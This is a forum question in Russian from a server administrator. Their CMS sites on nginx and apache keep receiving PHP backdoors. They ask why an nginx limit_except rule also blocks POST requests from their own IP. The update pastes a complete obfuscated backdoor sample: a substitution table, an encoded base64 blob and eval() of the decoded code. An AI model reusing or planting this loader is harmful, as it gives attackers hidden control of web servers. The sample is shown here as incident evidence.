Доброе время суток!
Имеется север на debian с установленной ISP manager 5 Lite. Крутится nginx + apache itk
на сервере несколько сайтов на разных CMS: Wordpress, Joomla, OpenCart, GetSimple... Сайты преимущественно новые но и старые имеются. Даже на Joomla 1.5.x.
Доступ фильтруется iptables, лица, которые имеют доступ, надежны.
Всеми управляю я лично, ну или "почти" лично. Сайты имеют коммерческий замысел и периодически посещаются. Но посещаются видимо не только клиентами, но и злоумышленниками... Через пока не известную дыру на сервере
постоянно (нет правда, постоянно, и скорее всего вручную) заливаются php "Бекдоры", через которые творятся всякие ужасы.
Подумали: "Доколе"? и нашли
решение:
Вот главный location ngingx конфиг-файла сайта:
location / {
location ~ [^/]\.ph(p\d*|tml)$ {
limit_except GET {
allow <<МОЙ_ИП>;
deny all;
}
try_files /does_not_exists @fallback;
}
location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
expires 7d;
try_files $uri $uri/ @fallback;
}
location / {
limit_except GET {
allow <МОЙ_ИП>;
deny all;
}
try_files /does_not_exists @fallback;
}
}
Правило фильтрации типов запросов РАБОТАЕТ и все бы хорошо, НО блокирует POST и с моего ip в придачу.
В логах все четко:
<МОЙ_ИП> - - [10/Dec/2014:11:40:06 +0300] "POST /index.php?option=com_rsform&Itemid=3 HTTP/1.1" 405
Почему мой POST тоже не пропускается? 3-й день мучаюсь...
UPD не Шеллы, а Бэк доры вида:
<?php
$vGSDSHL = Array('1'=>'6', '0'=>'A', '3'=>'e', '2'=>'a', '5'=>'y', '4'=>'v', '7'=>'H', '6'=>'p', '9'=>'l', '8'=>'r', 'A'=>'t', 'C'=>'G', 'B'=>'3', 'E'=>'1', 'D'=>'2', 'G'=>'i', 'F'=>'o', 'I'=>'B', 'H'=>'n', 'K'=>'M', 'J'=>'C', 'M'=>'8', 'L'=>'T', 'O'=>'u', 'N'=>'N', 'Q'=>'F', 'P'=>'c', 'S'=>'q', 'R'=>'4', 'U'=>'I', 'T'=>'U', 'W'=>'E', 'V'=>'d', 'Y'=>'D', 'X'=>'J', 'Z'=>'5', 'a'=>'9', 'c'=>'P', 'b'=>'m', 'e'=>'O', 'd'=>'V', 'g'=>'w', 'f'=>'0', 'i'=>'R', 'h'=>'Z', 'k'=>'j', 'j'=>'g', 'm'=>'K', 'l'=>'L', 'o'=>'Q', 'n'=>'f', 'q'=>'X', 'p'=>'7', 's'=>'S', 'r'=>'x', 'u'=>'k', 't'=>'b', 'w'=>'s', 'v'=>'Y', 'y'=>'W', 'x'=>'z', 'z'=>'h');
function vZAHTCQ($v0ZDJ0Q, $vE54PQG){$vGJMOEG = ''; for($i=0; $i < strlen($v0ZDJ0Q); $i++){$vGJMOEG .= isset($vE54PQG[$v0ZDJ0Q[$i]]) ? $vE54PQG[$v0ZDJ0Q[$i]] : $v0ZDJ0Q[$i];}
return base64_decode($vGJMOEG);}
$v3MWBN6 = 'XCQEVCznPCQxP50aUJUZNYWfhCKBKDiGNYuZKkufhYuEhbUZNkUEhLuDNyUDv'.
'GUpJjFuvDawtBUjcs0GUDibNsUpJGiuhyhzVyrfqDQkVC94tG0aUJVC2yr9PfEztGPpJGiuhyhzVyrfqBdxhdaz2b'.
'QRUYfjV7XEhLwmXCi9hbQEt7invDzzPHN9VJ0aUJVq2yZutBVxlLW5NLWHegFmoC9O2d'.
'axhqoFXDd5Pba5qDr4h5PwL9dKLJupJuI6tb9nPDdfmJVwtDVnhqX5tBXxX5ggmLwmoC9O2dax'.
'hqoFXDEz3Qa93CdkVqi6tDZnVC9AhsPwKJupJuIxhqinVC9Ahdaw2yE6VJjgmLwmo7N9VQaAvy'.
'V6vEarVyafhqNnPHdOVC9AhsjgmLwmoCi9hb9OhsjHdENcqEhQT9NX'.
'LfRHlJ0HKGRElkWHmLwmJb9bmCV9VQaAvyV6vEarVyafhqNnhBIkmJu6U7'.
'wmUJ0jUChEtbNf2yaOUQVLLBNfPb9gPDrzPDz9P5juvqX5vqu6U7wmUJ0jUJ'.
'0jUJI5hqiEPbRj2qNnvqX5vquFXCQ5PbQZms0/UCQ5PbQZqDEzPJjHdENcPBi52qIxtCQx2CdxX5gj'.
'XCQ5PbQZms01U7NfPb9gPDrzPDz9P5juvqX5vqu6egFjUJ0jnoFjUJ'.
'0jXQaoLENTUYfjdENcPBi52qIxtCQx2CdxmJinTWaLdJupJG0jUJ0uqfNcLfAXis0aUQ'.
'VLLBNfPb9gPDrzPDz9P5juqfNcLfAXisupJHfmJbhEtbNf2yaOU7Vxtfr4hD9'.
'OmJuj3gFjUJ0j2CdzhCd5mJVUdQiolxWOKJ0fKYojLbafUWh4VyZuX5upJG0jUJIu2yTFUko'.
'gNJU6eg6aJj6bVyZkVC94tGIqTfaxhqiktDa82yTFXCwwUJiDmsIpJG0jUJ0uqfNcLfAXidwu2Efjcs0uVkwmUJ0jU7N9VCN4tD'.
'A6hsju25gjX7v6eg6aJj66hGjzhyEgV7uFXCQEVCznPCQxP5u6U7wmUJ0jUC9bm'.
'C9xPDdfmJinTWaLdQwHPCQxP5VVms0bXG0FtyoEmJinTWaLdQwHPCQxP5VVms0acs0uvqdf2QagvqNxm'.
'sumUJ0jUJ0jUJIqTfaxhqiktDa82yTFtyoEmJinTfdsdudsy5VUdQioqfzcTEoHqsuwUJizV'.
'qiFqBIzPBK6egFmUJ0jUC9bUJjz2qNxhqoFXQaYLfalsTdttyoE'.
'mJinTfdsdudsy5VUdQioqfzcTEoHqs9VmsIMnJ0FXQaYLfalsTdttyoEmJinTfdsdudsy5VUdQioqfzcTEoHqs9VUJWa'.
'UJizVqiFqBIzPBK6moFjUJ0jUJ0jU7Vxtfr4hD9OmJupJHfmJbhEtbNf2yaOUCQkVC94t9X'.
'YmJuj3gFjUJ0j2yvFUT0uqEIcTEitXB0rXEf6U7wmUJ0jUJ0jUJ0uvs0aUCQ5PbQZm0FjUJ0jUJ0jUJ0jUJ0GVyZztyTGUYf+U7'.
'IFPQaEtbQAhsj6l0FjUJ0jUJ0jUJ0jUJ0GPCzgqBh9PHN6tDRGUYf+U7IFP7h9PHN6tDRFmsgmUJ0jUJ0jUJ0jUJ0jUHVx'.
'tEaDhqXx2yaOUG0acGIqTfandudsTf9cLGgmUJ0jUJ0jUJ0jUJ0jUHNzhbdAtDi9UG0acGI02y'.
'Z6qDV9VJjHPDQbhdaAtDi9X5umUJ0jUJ0jUJ06egFjUJ0jUJ0jUCdk2CMjPDd52yQw2q69mJizmLwmUJ0jU7fjhyrxhs'.
'IpJG0jUJ0jUJ0jhqhztJjuqEIcTEitXB0rXEf6egFjUJ0jno6aJb9bmJI9tqIf3sjuqEIcTEitXDWHqsujmoFjU'.
'J0j2yvF2qNxhqoFXCi9hbQEt7invyNf2yaOms0bXGIbVyZkVC94t9a93C9xV7KFXDQkVC94tGPjlG0uhCdbvqdwV'.
'QazvBi6tDR6moFjUJ0jUJ0jUJinTWaLdQwHvsVVUYfjXCi9hbQEt7invyNf2yaOegFjUJ0jhyrxh'.
'oFjUJ0jUJ0jUJinTWaLdQwHvsVVUYfjXEN9vf9OhbMHeg66hGjjUydAP7iZmJinT'.
'WaLdQwHvsVVms0bXGIbVyZkVC94t9a93C9xV7KFXDQkVC94tGPjlG0'.
'uqEIcTEitXDWHqsujmoFjUJ0jvDQwtQaEPDd5qDhEtbKFXDQkVC94tGP'.
'jlG0uqEIcTEitXDWHqsupJbdR2qop';
eval(vZAHTCQ($v3MWBN6, $vGSDSHL));?>